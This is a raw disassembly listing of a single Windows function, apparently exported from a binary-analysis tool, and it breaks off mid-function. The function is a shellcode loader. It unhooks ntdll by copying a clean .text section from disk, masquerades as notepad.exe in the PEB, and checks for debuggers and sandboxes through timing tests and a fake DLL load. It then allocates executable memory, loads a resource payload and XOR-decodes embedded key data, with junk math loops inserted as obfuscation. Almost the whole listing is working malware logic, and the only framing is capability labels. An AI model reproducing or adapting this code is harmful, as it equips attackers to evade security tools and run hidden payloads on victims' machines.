Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x458
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x3c0], xmm6
mov dword [rbp + 0x3f0], ecx
mov qword [rbp + 0x3f8], rdx
call fcn.140002e00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x348], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x340], rax
mov dword [rbp + 0x33c], 0
mov ecx, 0x3570
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x330], rax
mov ecx, 0x3570
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x328], rax
mov ecx, 0x3570
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x320], rax
mov dword [rbp + 0x3bc], 0
jmp 0x1400015ce
mov dword [rbp + 0x3b8], 0
jmp 0x1400015ba
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3bc]
cdqe
imul rcx, rax, 0xb4
mov rax, qword [rbp + 0x330]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3b8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3bc]
cdqe
imul rcx, rax, 0xb4
mov rax, qword [rbp + 0x328]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3b8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x3b8], 1
cmp dword [rbp + 0x3b8], 0x2c
jle 0x140001509
add dword [rbp + 0x3bc], 1
cmp dword [rbp + 0x3bc], 0x4b
jle 0x1400014fa
mov dword [rbp + 0x3bc], 0
jmp 0x1400016a5
mov dword [rbp + 0x3b8], 0
jmp 0x140001691
mov eax, dword [rbp + 0x3bc]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x330]
add rdx, rax
mov eax, dword [rbp + 0x3b8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x3bc]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x328]
add rdx, rax
mov eax, dword [rbp + 0x3b8]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003df0
mov eax, dword [rbp + 0x3bc]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x320]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x3b8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x3b8], 1
cmp dword [rbp + 0x3b8], 0x2c
jle 0x1400015f9
add dword [rbp + 0x3bc], 1
cmp dword [rbp + 0x3bc], 0x4b
jle 0x1400015ea
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x328]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x320]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x318], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x140001763
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
je 0x140001d8d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x318]
mov r10, qword [rbp + 0x3b0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x310], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x3ac], 0xffffffff
mov ecx, 0x1300
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x300], rax
add dword [rbp + 0x3ac], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x3ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x300]
add rax, rdx
movsd xmm1, qword [0x140006188]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x300]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3ac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x300]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x3ac], 0x25e
jle 0x14000180e
mov rax, qword [rbp + 0x308]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x2f8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x3a8], 0xffffffff
mov ecx, 0x1978
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2e8], rax
add dword [rbp + 0x3a8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006188]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
movsd xmm1, qword [0x140006190]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3a8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2e8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x3a8], 0x32d
jle 0x140001932
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x310]
add rax, rdx
mov qword [rbp + 0x2d8], rax
mov word [rbp + 0x3a6], 0
jmp 0x140001d75
mov rax, qword [rbp + 0x2d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x3a6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001d64
mov dword [rbp + 0x104], 0
mov dword [rbp + 0x398], 0
mov dword [rbp + 0x2cc], 0x1e8
mov dword [rbp + 0x2c8], 0xf4
mov eax, dword [rbp + 0x2cc]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x3a0], 0
jmp 0x140001aea
mov eax, dword [rbp + 0x3a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rdx, rax
mov eax, dword [rbp + 0x3a0]
mov dword [rdx], eax
add dword [rbp + 0x3a0], 1
mov eax, dword [rbp + 0x3a0]
cmp eax, dword [rbp + 0x2c8]
jl 0x140001ac1
mov dword [rbp + 0x3a0], 1
jmp 0x140001b7c
mov eax, dword [rbp + 0x3a0]
mov dword [rbp + 0x39c], eax
jmp 0x140001b53
mov edx, dword [rbp + 0x3a0]
mov eax, dword [rbp + 0x39c]
add edx, eax
mov eax, dword [rbp + 0x3a0]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x39c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x39c], 1
mov eax, dword [rbp + 0x2c8]
sub eax, dword [rbp + 0x3a0]
mov edx, dword [rbp + 0x3a0]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x39c], eax
jle 0x140001b12
add dword [rbp + 0x3a0], 1
mov eax, dword [rbp + 0x3a0]
cmp eax, dword [rbp + 0x2c8]
jl 0x140001b04
cmp dword [rbp + 0x2cc], 2
jle 0x140001bc0
mov eax, dword [rbp + 0x398]
lea edx, [rax + 1]
mov dword [rbp + 0x398], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x3a0], 1
jmp 0x140001c24
mov eax, dword [rbp + 0x3a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001c1d
mov eax, dword [rbp + 0x3a0]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x398]
lea edx, [rax + 1]
mov dword [rbp + 0x398], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x3a0], 1
mov eax, dword [rbp + 0x3a0]
cmp eax, dword [rbp + 0x2c8]
jl 0x140001bcc
mov dword [rbp + 0x2bc], 2
mov dword [rbp + 0x394], 0
mov dword [rbp + 0x3a0], 0
jmp 0x140001c80
mov eax, dword [rbp + 0x3a0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001c79
add dword [rbp + 0x394], 1
add dword [rbp + 0x3a0], 1
mov eax, dword [rbp + 0x3a0]
cmp eax, dword [rbp + 0x2bc]
jl 0x140001c52
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x310]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x104]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x310]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x104]
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x2d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x310]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x104]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x3a6]
add eax, 1
mov word [rbp + 0x3a6], ax
mov rax, qword [rbp + 0x2d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x3a6], ax
jb 0x140001a15
mov dword [rbp + 0x10c], 0
mov rax, qword [rbp + 0x348]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x110]
lea rax, [rbp + 0x10c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x2b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x118]
add rax, 0x3c
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x2a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x108], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x108]
mov r8, qword [rbp + 0x2a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x108]
cmp eax, 1
je 0x140002d35
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x290], rax
cmp qword [rbp + 0x290], 0
jne 0x140002d35
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x140002d35
mov dword [rbp + 0x100], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x100]
mov r8, qword [rbp + 0x280]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x100]
cmp eax, 1
je 0x140002d35
mov dword [rbp + 0x27c], 0x291
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
call rax
mov dword [rbp + 0x26c], eax
mov eax, dword [rbp + 0x27c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x270]
call rax
mov dword [rbp + 0x268], eax
mov eax, dword [rbp + 0x268]
sub eax, dword [rbp + 0x26c]
cmp eax, 0x25f
jbe 0x140002d35
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov ecx, 0
call rax
mov dword [rbp + 0x25c], eax
cmp dword [rbp + 0x25c], 0xffffffff
je 0x140002d35
mov dword [rbp + 0x258], 0x2c2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
call rax
mov dword [rbp + 0x244], eax
mov eax, dword [rbp + 0x258]
mov r8, qword [rbp + 0x250]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x248]
call rax
mov dword [rbp + 0x240], eax
mov eax, dword [rbp + 0x240]
sub eax, dword [rbp + 0x244]
cmp eax, 0x290
jbe 0x140002d35
lea rax, str.rxinquqimnrud.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x140002d35
mov qword [rbp + 0x388], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0
je 0x1400021c3
mov rax, qword [rbp + 0x230]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x228]
mov r9d, 0x3000
mov r8d, 0x3e7
mov edx, 0
call rax
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
je 0x140002d35
mov qword [rbp + 0x220], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x218]
mov r9d, 0x3000
mov r8d, 0x4af
mov edx, 0
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x140002d35
mov rax, qword [rbp + 0x340]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
lea rax, str.ITXGAMYECY
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x210]
lea r8, str.ITXGAMYECY
mov ecx, 0
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x340]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x208]
mov r8, qword [rbp + 0x200]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x340]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1ec], 0
mov ecx, 0xefc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x384], 0
jmp 0x14000240e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x1ec], edx
mov edx, dword [rbp + 0x1ec]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x1ec], eax
cmp dword [rbp + 0x1ec], 0x168
jle 0x140002394
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002407
cmp dword [rbp + 0x1ec], 0
jns 0x1400023c1
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002407
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x1ec]
movsd xmm0, qword [0x140006198]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400061a0]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x384]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x384], 1
cmp dword [rbp + 0x384], 0x3be
jle 0x14000232d
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x340]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x340]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x208]
mov r8, qword [rbp + 0x1f0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1d8]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x208]
mov r8, qword [rbp + 0x1f0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1c8]
mov r9, qword [rbp + 0x1d0]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x348]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x208]
mov r8, qword [rbp + 0x1f0]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x1f8]
mov rax, qword [rbp + 0x1c0]
mov r9, qword [rbp + 0x1b8]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x380], 0
mov dword [rbp + 0x37c], 0
mov dword [rbp + 0x378], 0
movabs rax, 0x686d8c8805db92a1
movabs rdx, 0x9f846f0c419546a7
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xa781250caf07cb16
movabs rdx, 0x973a41462677d346
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x92bef232839df272
movabs rdx, 0x9e629354261d0c8c
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xbd0441ce0a25b62f
movabs rdx, 0xf53821da51f8596c
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xe650f44c1681efe
movabs rdx, 0xfc0a7dbe53edf217
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x96bc3d0eb0fc01bf
movabs rdx, 0x260fffb4efaf37a9
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x8dccaba552a20356
movabs rdx, 0x998aed797017b70a
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
mov dword [rbp + 0xef], 0x757a99
movabs rax, 0x17cc51806dd83bfc
movabs rdx, 0xc9dedb56440cc8a3
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x1abcc6d7dfa57a1c
movabs rdx, 0x906c9d71a39c90ee
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xf6ca048f0f4a8226
movabs rdx, 0xf2854e83776b35a1
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x11], 0x3876f2
jmp 0x140002844
cmp dword [rbp + 0x37c], 0x31
jne 0x14000280b
mov dword [rbp + 0x374], 0xffffffff
mov ecx, 0x19a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x168], rax
mov ecx, 0x19a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x160], rax
add dword [rbp + 0x374], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x168]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x374]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x168]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x374]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x160]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003f30
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x374], 0x333
jle 0x1400026ef
mov eax, dword [rbp + 0x380]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x37c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x380]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x37c], 0
jmp 0x14000283d
mov eax, dword [rbp + 0x380]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x37c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x380]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x37c], 1
add dword [rbp + 0x380], 1
mov eax, dword [rbp + 0x380]
cmp eax, 0x71
jbe 0x1400026b6
mov dword [rbp + 0x380], 0
mov dword [rbp + 0x370], 0
mov dword [rbp + 0x36c], 0
mov ecx, 0xbf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x368], 0
jmp 0x1400028fc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x368]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x368]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x370], eax
add dword [rbp + 0x368], 1
cmp dword [rbp + 0x368], 0x2fc
jle 0x14000288e
mov dword [rbp + 0x368], 0
jmp 0x140002984
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x36c]
mov eax, dword [rbp + 0x368]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1b0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x174]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x1400061a8]
movupd xmm1, xmm0
movq xmm0, rax
